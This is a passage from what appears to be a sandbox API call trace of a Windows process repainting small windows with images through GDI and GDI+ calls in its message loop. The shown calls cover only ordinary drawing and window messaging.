GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.323] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0109.323] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.323] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.323] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.324] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0109.324] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.324] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.324] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.324] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.324] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.324] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d7c0) returned 0x0 [0109.324] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d780) returned 0x0 [0109.324] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de45cf0, hRgn=0x15d780) returned 0x0 [0109.324] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.324] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.324] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d7f0) returned 0x0 [0109.324] GetCurrentObject (hdc=0xffffffffca01026a, type=0x1) returned 0x1b00017 [0109.324] GetCurrentObject (hdc=0xffffffffca01026a, type=0x2) returned 0x1900010 [0109.324] GetCurrentObject (hdc=0xffffffffca01026a, type=0x7) returned 0x6050ba7 [0109.325] GetCurrentObject (hdc=0xffffffffca01026a, type=0x6) returned 0x18a002e [0109.325] SaveDC (hdc=0xffffffffca01026a) returned 1 [0109.325] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x15040b8a [0109.325] GetClipRgn (hdc=0xffffffffca01026a, hrgn=0x15040b8a) returned 0 [0109.325] SelectClipRgn (hdc=0xffffffffca01026a, hrgn=0x450407c3) returned 2 [0109.325] DeleteObject (ho=0x15040b8a) returned 1 [0109.325] DeleteObject (ho=0x450407c3) returned 1 [0109.325] OffsetViewportOrgEx (in: hdc=0xffffffffca01026a, x=0, y=0, lppt=0x2700720 | out: lppt=0x2700720) returned 1 [0109.325] GetNearestColor (hdc=0xffffffffca01026a, color=0xffffff) returned 0xffffff [0109.325] CreateSolidBrush (color=0xffffff) returned 0x1d100190 [0109.325] FillRect (hDC=0xffffffffca01026a, lprc=0x15d7c0, hbr=0x1d100190) returned 1 [0109.327] DeleteObject (ho=0x1d100190) returned 1 [0109.327] RestoreDC (hdc=0xffffffffca01026a, nSavedDC=-1) returned 1 [0109.327] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.327] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffca01026a) returned 0x0 [0109.327] GdipRestoreGraphics (graphics=0x1de45cf0, state=0xfffffffffdac0dbd) returned 0x0 [0109.327] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.327] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.327] GetWindowTextLengthW (hWnd=0x20312) returned 0 [0109.327] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.327] GetSystemMetrics (nIndex=42) returned 0 [0109.327] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.327] GetWindowTextW (in: hWnd=0x20312, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.327] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.327] CoTaskMemFree (pv=0x4ffe60) [0109.327] GdipGetImageWidth (image=0x1de43470, width=0x15da30) returned 0x0 [0109.327] GdipGetImageHeight (image=0x1de43470, height=0x15da30) returned 0x0 [0109.327] GdipDrawImageRectI (graphics=0x1de45cf0, image=0x1de43470, x=0, y=0, width=239, height=209) returned 0x0 [0109.333] GdipGetDC (graphics=0x1de45cf0, hdc=0x15dbf0) returned 0x0 [0109.333] BitBlt (hdc=0x3010b83, x=0, y=0, cx=239, cy=209, hdcSrc=0xffffffffca01026a, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.333] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.333] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffca01026a) returned 0x0 [0109.333] SelectObject (hdc=0xffffffffca01026a, h=0x185000f) returned 0x6050ba7 [0109.333] DeleteDC (hdc=0xffffffffca01026a) returned 1 [0109.333] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.333] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.334] DeleteObject (ho=0x6050ba7) returned 1 [0109.334] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.334] EndPaint (hWnd=0x20312, lpPaint=0x15dcf8) returned 1 [0109.334] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.334] IsWindowUnicode (hWnd=0x40316) returned 1 [0109.334] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.334] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.334] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.334] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.334] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.335] WaitMessage () returned 1 [0109.336] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.336] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.336] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.336] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.336] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.336] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0109.336] GetCurrentThreadId () returned 0xec0 [0109.336] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0109.336] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.336] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.336] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.336] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.336] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.337] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0109.337] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.337] CreateCompatibleDC (hdc=0x1010b9d) returned 0x3e0107c2 [0109.337] SelectObject (hdc=0x3e0107c2, h=0x1a05067e) returned 0x185000f [0109.337] GdipCreateFromHDC (hdc=0x3e0107c2, graphics=0x15daf0) returned 0x0 [0109.337] GdipTranslateWorldTransform (graphics=0x1de45cf0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.337] GdipSetClipRectI (graphics=0x1de45cf0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0109.337] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0109.337] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.337] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0109.337] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.337] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbdcf0) returned 0x0 [0109.338] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.338] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.338] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.338] GdipCreateRegion (region=0x15dc20) returned 0x0 [0109.338] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.338] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15dc50) returned 0x0 [0109.338] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15dd20) returned 0x0 [0109.339] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.339] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.339] GetSystemMetrics (nIndex=42) returned 0 [0109.339] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.339] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.339] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.339] CoTaskMemFree (pv=0x4ffe60) [0109.339] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0109.339] GdipCreateRegion (region=0x15d710) returned 0x0 [0109.339] GdipGetClip (graphics=0x1de45cf0, region=0x1de43ea0) returned 0x0 [0109.339] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0109.340] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.340] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0109.340] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.340] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.340] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.340] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0109.341] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.341] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.341] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.341] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.341] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.341] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d7c0) returned 0x0 [0109.341] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d780) returned 0x0 [0109.341] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de45cf0, hRgn=0x15d780) returned 0x0 [0109.341] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.341] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.341] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d7f0) returned 0x0 [0109.342] GetCurrentObject (hdc=0x3e0107c2, type=0x1) returned 0x1b00017 [0109.342] GetCurrentObject (hdc=0x3e0107c2, type=0x2) returned 0x1900010 [0109.342] GetCurrentObject (hdc=0x3e0107c2, type=0x7) returned 0x1a05067e [0109.342] GetCurrentObject (hdc=0x3e0107c2, type=0x6) returned 0x18a002e [0109.342] SaveDC (hdc=0x3e0107c2) returned 1 [0109.342] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x460407c3 [0109.342] GetClipRgn (hdc=0x3e0107c2, hrgn=0x460407c3) returned 0 [0109.342] SelectClipRgn (hdc=0x3e0107c2, hrgn=0x16040b8a) returned 2 [0109.342] DeleteObject (ho=0x460407c3) returned 1 [0109.342] DeleteObject (ho=0x16040b8a) returned 1 [0109.342] OffsetViewportOrgEx (in: hdc=0x3e0107c2, x=0, y=0, lppt=0x2701070 | out: lppt=0x2701070) returned 1 [0109.342] GetNearestColor (hdc=0x3e0107c2, color=0xffffff) returned 0xffffff [0109.342] CreateSolidBrush (color=0xffffff) returned 0x1e100190 [0109.343] FillRect (hDC=0x3e0107c2, lprc=0x15d7c0, hbr=0x1e100190) returned 1 [0109.343] DeleteObject (ho=0x1e100190) returned 1 [0109.343] RestoreDC (hdc=0x3e0107c2, nSavedDC=-1) returned 1 [0109.343] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.343] GdipReleaseDC (graphics=0x1de45cf0, hdc=0x3e0107c2) returned 0x0 [0109.343] GdipRestoreGraphics (graphics=0x1de45cf0, state=0xfffffffffdaa0dbd) returned 0x0 [0109.343] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.343] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.343] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.343] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.343] GetSystemMetrics (nIndex=42) returned 0 [0109.343] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.343] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.343] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.343] CoTaskMemFree (pv=0x4ffe60) [0109.344] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0109.344] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0109.344] GdipDrawImageRectI (graphics=0x1de45cf0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0109.345] GdipGetDC (graphics=0x1de45cf0, hdc=0x15dbf0) returned 0x0 [0109.345] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x3e0107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.345] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.345] GdipReleaseDC (graphics=0x1de45cf0, hdc=0x3e0107c2) returned 0x0 [0109.345] SelectObject (hdc=0x3e0107c2, h=0x185000f) returned 0x1a05067e [0109.345] DeleteDC (hdc=0x3e0107c2) returned 1 [0109.345] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.345] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.345] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.345] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0109.345] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.345] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.346] WaitMessage () returned 1 [0109.532] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.532] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.532] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.532] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.532] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.533] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0109.533] GetCurrentThreadId () returned 0xec0 [0109.533] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0109.533] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.533] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.533] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.533] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.533] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.533] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0109.533] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.533] CreateCompatibleDC (hdc=0x1010b9d) returned 0x3f0107c2 [0109.534] SelectObject (hdc=0x3f0107c2, h=0x1a05067e) returned 0x185000f [0109.534] GdipCreateFromHDC (hdc=0x3f0107c2, graphics=0x15daf0) returned 0x0 [0109.534] GdipTranslateWorldTransform (graphics=0x1de45cf0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.534] GdipSetClipRectI (graphics=0x1de45cf0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0109.534] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0109.534] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.534] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0109.534] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdc70 [0109.534] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbdc70) returned 0x0 [0109.535] LocalFree (hMem=0x1afbdc70) returned 0x0 [0109.535] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.535] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.535] GdipCreateRegion (region=0x15dc20) returned 0x0 [0109.535] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.535] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15dc50) returned 0x0 [0109.535] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15dd20) returned 0x0 [0109.535] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.535] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.535] GetSystemMetrics (nIndex=42) returned 0 [0109.535] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.535] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.535] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.536] CoTaskMemFree (pv=0x4ffe60) [0109.536] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0109.536] GdipCreateRegion (region=0x15d710) returned 0x0 [0109.536] GdipGetClip (graphics=0x1de45cf0, region=0x1de43ea0) returned 0x0 [0109.536] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0109.536] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.536] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0109.536] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdc70 [0109.536] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdc70) returned 0x0 [0109.536] LocalFree (hMem=0x1afbdc70) returned 0x0 [0109.536] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0109.537] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdc70 [0109.537] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdc70) returned 0x0 [0109.537] LocalFree (hMem=0x1afbdc70) returned 0x0 [0109.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.537] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.537] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d7c0) returned 0x0 [0109.537] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d780) returned 0x0 [0109.537] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de45cf0, hRgn=0x15d780) returned 0x0 [0109.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.537] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.537] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d7f0) returned 0x0 [0109.537] GetCurrentObject (hdc=0x3f0107c2, type=0x1) returned 0x1b00017 [0109.538] GetCurrentObject (hdc=0x3f0107c2, type=0x2) returned 0x1900010 [0109.538] GetCurrentObject (hdc=0x3f0107c2, type=0x7) returned 0x1a05067e [0109.538] GetCurrentObject (hdc=0x3f0107c2, type=0x6) returned 0x18a002e [0109.538] SaveDC (hdc=0x3f0107c2) returned 1 [0109.538] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x17040b8a [0109.538] GetClipRgn (hdc=0x3f0107c2, hrgn=0x17040b8a) returned 0 [0109.539] SelectClipRgn (hdc=0x3f0107c2, hrgn=0x470407c3) returned 2 [0109.539] DeleteObject (ho=0x17040b8a) returned 1 [0109.539] DeleteObject (ho=0x470407c3) returned 1 [0109.539] OffsetViewportOrgEx (in: hdc=0x3f0107c2, x=0, y=0, lppt=0x2701f00 | out: lppt=0x2701f00) returned 1 [0109.539] GetNearestColor (hdc=0x3f0107c2, color=0xffffff) returned 0xffffff [0109.539] CreateSolidBrush (color=0xffffff) returned 0x1f100190 [0109.539] FillRect (hDC=0x3f0107c2, lprc=0x15d7c0, hbr=0x1f100190) returned 1 [0109.539] DeleteObject (ho=0x1f100190) returned 1 [0109.539] RestoreDC (hdc=0x3f0107c2, nSavedDC=-1) returned 1 [0109.539] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.539] GdipReleaseDC (graphics=0x1de45cf0, hdc=0x3f0107c2) returned 0x0 [0109.539] GdipRestoreGraphics (graphics=0x1de45cf0, state=0xfffffffffda80dbd) returned 0x0 [0109.539] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.539] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.539] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.540] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.540] GetSystemMetrics (nIndex=42) returned 0 [0109.541] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.541] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.541] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.541] CoTaskMemFree (pv=0x4ffe60) [0109.541] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x3) returned 0x0 [0109.543] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0109.544] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0109.544] GdipDrawImageRectI (graphics=0x1de45cf0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0109.544] GdipGetDC (graphics=0x1de45cf0, hdc=0x15dbf0) returned 0x0 [0109.544] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x3f0107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.544] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.544] GdipReleaseDC (graphics=0x1de45cf0, hdc=0x3f0107c2) returned 0x0 [0109.544] SelectObject (hdc=0x3f0107c2, h=0x185000f) returned 0x1a05067e [0109.544] DeleteDC (hdc=0x3f0107c2) returned 1 [0109.544] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.544] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.544] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.545] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0109.545] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.545] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0109.545] WaitMessage () returned 1 [0109.699] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.699] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.699] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.699] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.699] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.700] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0109.700] GetCurrentThreadId () returned 0xec0 [0109.700] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0109.700] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.700] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.700] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.700] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.700] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.700] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0109.700] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.700] CreateCompatibleDC (hdc=0x1010b9d) returned 0x400107c2 [0109.700] SelectObject (hdc=0x400107c2, h=0x1a05067e) returned 0x185000f [0109.700] GdipCreateFromHDC (hdc=0x400107c2, graphics=0x15daf0) returned 0x0 [0109.700] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.700] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0109.701] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0109.701] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0109.701] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0109.701] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbe0b0 [0109.701] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbe0b0) returned 0x0 [0109.701] LocalFree (hMem=0x1afbe0b0) returned 0x0 [0109.701] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.701] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.701] GdipCreateRegion (region=0x15dc20) returned 0x0 [0109.702] GdipGetClip (graphics=0x1de419c0, region=0x1de43de0) returned 0x0 [0109.702] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0109.702] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0109.702] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.702] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.702] GetSystemMetrics 